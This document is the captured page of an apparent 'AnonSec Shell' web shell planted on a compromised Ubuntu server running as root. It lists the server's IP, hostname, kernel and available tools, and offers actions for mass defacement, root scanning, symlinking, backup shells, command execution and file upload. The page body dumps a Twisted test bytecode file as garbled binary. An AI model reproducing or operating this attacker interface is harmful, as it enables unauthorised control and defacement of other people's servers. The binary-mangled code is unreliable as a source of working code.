AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/web/test/__pycache__/test_distrib.cpython-310.pyc
o

�btF�@sbdZddlmZddlmZzddlZWneydZYnweZddlm	Z	ddl
mZddlm
Z
mZddlmZdd	lmZmZdd
lmZddlmZddlmZdd
lmZddlmZmZmZm Z m!Z!ddl"m#Z#ddl$m%Z%ddl&m'Z'm(Z(Gdd�de j)�Z*Gdd�dej+�Z+Gdd�de,�Z-Gdd�de�Z.Gdd�d�Z/Gdd�de�Z0dS)z#
Tests for L{twisted.web.distrib}.
�)�abspath)�parseStringN)�skipIf)�verifyObject)�defer�reactor)�globalLogPublisher)�failure�filepath)�pb��
SIZE_LIMIT)�
proto_helpers)�TestCase)�client�distrib�resource�server�static)�Headers)�_render)�DummyChannel�DummyRequestc@seZdZdS)�MySiteN)�__name__�
__module__�__qualname__�rr�?/usr/lib/python3/dist-packages/twisted/web/test/test_distrib.pyr#src@seZdZdZdZdd�ZdS)�PBServerFactoryz�
    A PB server factory which keeps track of the most recent protocol it
    created.

    @ivar proto: L{None} or the L{Broker} instance most recently returned
        from C{buildProtocol}.
    NcCstj�||�|_|jS�N)rr�
buildProtocol�proto)�self�addrrrrr!2szPBServerFactory.buildProtocol)rrr�__doc__r"r!rrrrr'src@seZdZdZdS)�ArbitraryErrorz%
    An exception for this test.
    N)rrrr%rrrrr&7sr&c@s�eZdZdZdZdZdZdd�Zdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�DistribTestsNcs�t��t��g�|jdur|jjdur|jj��fdd��n�d�d�|jdurF|jjdurF|jjj��fdd��|jjjj	�
�n�d�d�|jdurZ��|j�
��|jdurg��|j�
��t���S)z�
        Clean up all the event sources left behind by either directly by
        test methods or indirectly via some distrib API.
        Nc��d�d�S�Nr��callbackr��dlrr�<lambda>J�z'DistribTests.tearDown.<locals>.<lambda>rcr()N�r*rr,rrr.Nr/r0)r�Deferred�f1r"�notifyOnDisconnectr+�sub�	publisher�broker�	transport�loseConnection�port1�append�
stopListening�port2�
gatherResults�r#rr,r�tearDownCs


zDistribTests.tearDowncCs�t��}|�dt�dd��t�|�}tt�	|��|_
t�d|j
�|_
t�d|j
��j�|_t��}|�d|j�t|�}t�d|�|_t�t�}d|j��j�d�}|�d	�}|�d
|�}|�tj�|�|jd�|S)Nstheresrootz
text/plainr�	127.0.0.1sherezhttp://127.0.0.1:z/here/there�ascii�GET)r�Resource�putChildr�Datar�Siterr�ResourcePublisherr2r�	listenTCPr9�ResourceSubscription�getHost�portr4rr<r�Agent�encode�request�addCallback�readBody�assertEqual)r#�r1�site1�r2�f2�agent�url�drrr�testDistribXs"


zDistribTests.testDistribcCs�t��}|�d|�t�|�}tt�|��|_}t	j
d|dd�}|�|j�|�
�}t�|j|j�|_}t�|�}t	j
d|dd�}	|�|	j�|	�
�}
|	|
fS)z�
        Set up a resource on a distrib site using L{ResourcePublisher}.

        @param child: The resource to publish using distrib.

        @return: A tuple consisting of the host and port on which to contact
            the created site.
        schildrr@)�	interface)rrCrDrrFrrrGr2rrH�
addCleanupr;rJrI�hostrKr4)r#�child�distribRoot�distribSite�distribFactory�distribPortr$�mainRoot�mainSite�mainPort�mainAddrrrr�_setupDistribServerls	

�
z DistribTests._setupDistribServercKs\|�|�\}}t�t�}d|j�d|j�d�}|�d�}|jd|fi|��}|�tj	�|S)a�
        Set up a resource on a distrib site using L{ResourcePublisher} and
        then retrieve it from a L{ResourceSubscription} via an HTTP client.

        @param child: The resource to publish using distrib.
        @param **kwargs: Extra keyword arguments to pass to L{Agent.request} when
            requesting the resource.

        @return: A L{Deferred} which fires with the result of the request.
        �http://�:�/childrArB)
rfrrLrr\rKrMrNrOrP)r#r]�kwargsrdrerVrWrXrrr�_requestTest�s

zDistribTests._requestTestcKs^|�|�\}}d|j�d|j�d�}|�d�}t�t�jd|fi|��}dd�}|�|�|S)a;
        Set up a resource on a distrib site using L{ResourcePublisher} and
        then retrieve it from a L{ResourceSubscription} via an HTTP client.

        @param child: The resource to publish using distrib.
        @param **kwargs: Extra keyword arguments to pass to L{Agent.request} when
            requesting the resource.

        @return: A L{Deferred} which fires with a tuple consisting of a
            L{twisted.test.proto_helpers.AccumulatingProtocol} containing the
            body of the response and an L{IResponse} with the response itself.
        rgrhrirArBcs8t�������t��}�_|���fdd��|S)Ncs��fSr r)�_��protocol�responserrr.�szGDistribTests._requestAgentTest.<locals>.cbCollectBody.<locals>.<lambda>)r�AccumulatingProtocol�deliverBodyrr1�closedDeferredrO)rorXrrmr�
cbCollectBody�s

z5DistribTests._requestAgentTest.<locals>.cbCollectBody)	rfr\rKrMrrLrrNrO)r#r]rjrdrerWrXrsrrr�_requestAgentTest�s


zDistribTests._requestAgentTestcs|i�t���t���dg�G��fdd�dtj�}���fdd���j|�tddgi�d�}���fd	d
�}|�|�|S)z�
        The request headers are available on the request object passed to a
        distributed resource's C{render} method.
        NcseZdZ��fdd�ZdS)z>DistribTests.test_requestHeaders.<locals>.ReportRequestHeaderscs |�d<��t|j����dS)Nr�)�update�dict�requestHeaders�getAllRawHeaders�r#rN��reqrxrr�render�szEDistribTests.test_requestHeaders.<locals>.ReportRequestHeaders.renderN�rrrr}rr{rr�ReportRequestHeaders�srcsDdd��D�}��d|���d|����d|�t���dS)NcSsg|]}|d�qS)�
log_formatr)�.0�errr�
<listcomp>�szHDistribTests.test_requestHeaders.<locals>.check_logs.<locals>.<listcomp>zconnected to publisherz3could not connect to distributed web service: {msg}r)�assertInr�removeObserver)�msgs)�logObserverr|r#rr�
check_logs�s
z4DistribTests.test_requestHeaders.<locals>.check_logs�foo�bar)�headerscs$�jj������ddg�dS)NsFoosbar)r2r"r3rQ��result)r�rxr#rr�cbRequested�sz5DistribTests.test_requestHeaders.<locals>.cbRequested)	r�EventLoggingObserverr�addObserverrrCrkrrO)r#rrNr�r)r�r�r|rxr#r�test_requestHeaders�s
�
z DistribTests.test_requestHeadersc�8Gdd�dtj�}��|��}�fdd�}|�|�|S)z�
        The response code can be set by the request object passed to a
        distributed resource's C{render} method.
        c@�eZdZdd�ZdS)z>DistribTests.test_requestResponseCode.<locals>.SetResponseCodecSs|�d�dS)N�����setResponseCoderzrrrr}�s
zEDistribTests.test_requestResponseCode.<locals>.SetResponseCode.renderNr~rrrr�SetResponseCode��r�c�:��|djd���|djd���|djd�dS)Nrrur0r�sOK�rQ�data�code�phraser�r>rrr���z:DistribTests.test_requestResponseCode.<locals>.cbRequested�rrCrtrO�r#r�rNr�rr>r�test_requestResponseCode��

z%DistribTests.test_requestResponseCodecr�)z�
        The response code and message can be set by the request object passed to
        a distributed resource's C{render} method.
        c@r�)zEDistribTests.test_requestResponseCodeMessage.<locals>.SetResponseCodecSs|�dd�dS)Nr��some-messager�r�rzrrrr}�szLDistribTests.test_requestResponseCodeMessage.<locals>.SetResponseCode.renderNr~rrrrr��r�r�cr�)Nrrur0r�r�r�r�r>rrr��r�zADistribTests.test_requestResponseCodeMessage.<locals>.cbRequestedr�r�rr>r�test_requestResponseCodeMessage�r�z,DistribTests.test_requestResponseCodeMessagecC�8Gdd�dtj�}|�|��}|�|jdtd�|S)z�
        If a string longer than the Banana size limit is passed to the
        L{distrib.Request} passed to the remote resource, it is broken into
        smaller strings to be transported over the PB connection.
        c@r�)z0DistribTests.test_largeWrite.<locals>.LargeWritecSs |�dtd�|��tjS�N�x�y)�writer
�finishr�NOT_DONE_YETrzrrrr}sz7DistribTests.test_largeWrite.<locals>.LargeWrite.renderNr~rrrr�
LargeWrite
r�r�r�r��rrCrkrOrQr
)r#r�rNrrr�test_largeWriteszDistribTests.test_largeWritecCr�)z�
        Like L{test_largeWrite}, but for the case where C{render} returns a
        long string rather than explicitly passing it to L{Request.write}.
        c@r�)z2DistribTests.test_largeReturn.<locals>.LargeReturncSsdtdSr�rrzrrrr}sz9DistribTests.test_largeReturn.<locals>.LargeReturn.renderNr~rrrr�LargeReturnr�r�r�r�r�)r#r�rNrrr�test_largeReturnszDistribTests.test_largeReturncsltt����_}t�d|��_}t�d|�	�j
��_}tdg��t
|��}��fdd�}|�|�|S)zz
        If there is an error issuing the request to the remote publisher, an
        error response is returned.
        rr@rucsL���jd���tj�}��t|�d�gd�}��d�|�g�j�dS)Ni�r0)
rus<html>s:  <head><title>500 - Server Connection Lost</title></head>s  <body>s#    <h1>Server Connection Lost</h1>s�    <p>Connection to distributed server lost:<pre>[Failure instance: Traceback from remote host -- twisted.spread.flavors.NoSuchMethod: No such method: remote_requests]</pre></p>s	  </body>s</html>ru�
)rQ�responseCode�flushLoggedErrorsr�NoSuchMethod�len�join�written)�ignored�errors�expected�rNr#rr�
cbRendered2s
z4DistribTests.test_connectionLost.<locals>.cbRendered)rr�Rootr2rrHr9rrIrJrKr4rrrO)r#�
serverFactory�
serverPort�subscriptionrXr�rr�r�test_connectionLost"s

�


z DistribTests.test_connectionLostcCs`tj�|t�}t�t��}tdg�}t�	|�}|�
|�|�dt|��|�
d|dd�dS)zQ
        When a request fails, the string form of the failure is logged.
        rur0zFailure instancerr�N)rr��createWithCleanuprr	�Failurer&rr�Issue�failed�assertEqualsr�r�)r#r��frN�issuerrr�test_logFailedNs�


zDistribTests.test_logFailedcCsftj�|t�}t�}t�|�}t�t	��}|�
|�|�t�|�dt
|��|�|dd|�dS)zf
        When L{twisted.web.distrib.Request}'s fail is called, the failure
        is logged.
        r0r�log_failureN)rr�r�rr&r	r�r�Requestr�failr�r�r��assertIs)r#r��errr�r|rrr�test_requestFail]s�


zDistribTests.test_requestFail)rrrr9r<r4r2r?rYrfrkrtr�r�r�r�r�r�r�r�rrrrr'=s$",r'c@s$eZdZdd�Zdd�Zdd�ZdS)�_PasswordDatabasecCs
||_dSr )�_users)r#�usersrrr�__init__o�
z_PasswordDatabase.__init__cCs
t|j�Sr )�iterr�r>rrr�getpwallrr�z_PasswordDatabase.getpwallcCs&|jD]}|d|kr|Sqt��r))r��KeyError)r#�username�userrrr�getpwnamus

�z_PasswordDatabase.getpwnamN)rrrr�r�r�rrrrr�nsr�c@sleZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Ze
ed�dd��ZdS)�UserDirectoryTestszj
    Tests for L{UserDirectory}, a resource for listing all user resources
    available on a system.
    cCsTddddd|��df|_dddd	d
|��df|_t|j|jg�|_t�|j�|_dS)N�alice�x�{i�zAlice,,,z/bin/sh�bob��i7zBob,,,)�mktempr�r�r��databaser�
UserDirectory�	directoryr>rrr�setUp�szUserDirectoryTests.setUpcCs|�ttj|j��dS)zK
        L{UserDirectory} instances provide L{resource.IResource}.
        N)�
assertTruerr�	IResourcer�r>rrr�test_interface�sz!UserDirectoryTests.test_interfacecs>t|g���j�|��}t|��}��fdd�}|�|�|S)zr
        Verify that requesting the C{name} child of C{self.directory} results
        in a 404 response.
        cs���jd�dS)Ni�)rQr�)r�r�rrr��sz/UserDirectoryTests._404Test.<locals>.cbRendered)rr��getChildrrO)r#�namer�rXr�rr�r�_404Test�s


zUserDirectoryTests._404TestcC�
|�d�S)z�
        L{UserDirectory.getChild} returns a resource which renders a 404
        response when passed a string which does not correspond to any known
        user.
        �carol�r�r>rrr�test_getInvalidUser��
z&UserDirectoryTests.test_getInvalidUsercCr�)z�
        L{UserDirectory.getChild} returns a resource which renders a 404
        response when passed a string which corresponds to a known user who has
        neither a user directory nor a user distrib socket.
        r�r�r>rrr�test_getUserWithoutResource�r�z.UserDirectoryTests.test_getUserWithoutResourcecCs\t�|jd�}|�d�}|��tdg�}|j�d|�}|�|t	j
�|�|j|j�dS)z�
        L{UserDirectory.getChild} returns a L{static.File} instance when passed
        the name of a user with a home directory containing a I{public_html}
        directory.
        ����public_htmlr�N)
r
�FilePathr�r]�makedirsrr�r��assertIsInstancer�FilerQ�path)r#�homer�rNr�rrr�test_getPublicHTMLChild�s

z*UserDirectoryTests.test_getPublicHTMLChildcCsnt�|jd�}|��|�d�}tdg�}|j�d|�}|�|t	j
�|�|jd�|�t
|j�|j�dS)z�
        L{UserDirectory.getChild} returns a L{ResourceSubscription} instance
        when passed the name of a user suffixed with C{".twistd"} who has a
        home directory containing a I{.twistd-web-pb} socket.
        r��.twistd-web-pbr�z
bob.twistd�unixN)r
r�r�r�r]rr�r�r�rrIrQr\rrKr�)r#r��webrNr�rrr�test_getDistribChild�s

z'UserDirectoryTests.test_getDistribChildcCs(tdg�}d|_|�tj|jj|�dS)zr
        L{UserDirectory.render} raises L{UnsupportedMethod} in response to a
        non-I{GET} request.
        r��POSTN)r�method�assertRaisesr�UnsupportedMethodr�r}rzrrr�test_invalidMethod�s
z%UserDirectoryTests.test_invalidMethodcsxt��jd��d�}|��t��jd�}|��|�d��d�tdg��t�j	��}��fdd�}|�
|�|S)z}
        L{UserDirectory} renders a list of links to available user content
        in response to a I{GET} request.
        r�r�r�rur�cs�td��j��}|�d�\}}��|jjd���|j�d�d���|jjjd���|jjd���|j�d�d���|jjjd�dS)	Nru�li�a�hrefzalice/zAlice (file)zbob.twistd/zBob (twistd))	rr�r��getElementsByTagNamerQ�
firstChild�tagName�getAttributer�)r��documentr�r�r�rrr��sz2UserDirectoryTests.test_render.<locals>.cbRendered)r
r�r�r]r�r��
setContentrrr�rO)r#r�r�r�r�rr�r�test_render�s

zUserDirectoryTests.test_renderzpwd module requiredcCst��}|�|jt�dS)z�
        If L{UserDirectory} is instantiated with no arguments, it uses the
        L{pwd} module as its password database.
        N)rr��assertIdentical�_pwd�pwd)r#r�rrr�test_passwordDatabase�sz(UserDirectoryTests.test_passwordDatabaseN)rrrr%r�r�r�r�r�r�r�rrrrrrrrrr�|s	
 r�)1r%�os.pathr�xml.dom.minidomrrr�ImportError�unittestr�zope.interface.verifyr�twisted.internetrr�twisted.loggerr�twisted.pythonr	r
�twisted.spreadr�twisted.spread.bananar
�twisted.testr�twisted.trial.unittestr�twisted.webrrrrr�twisted.web.http_headersr�twisted.web.test._utilr�twisted.web.test.test_webrrrFrr�	Exceptionr&r'r�r�rrrr�<module>s<�3

Anon7 - 2022
AnonSec Team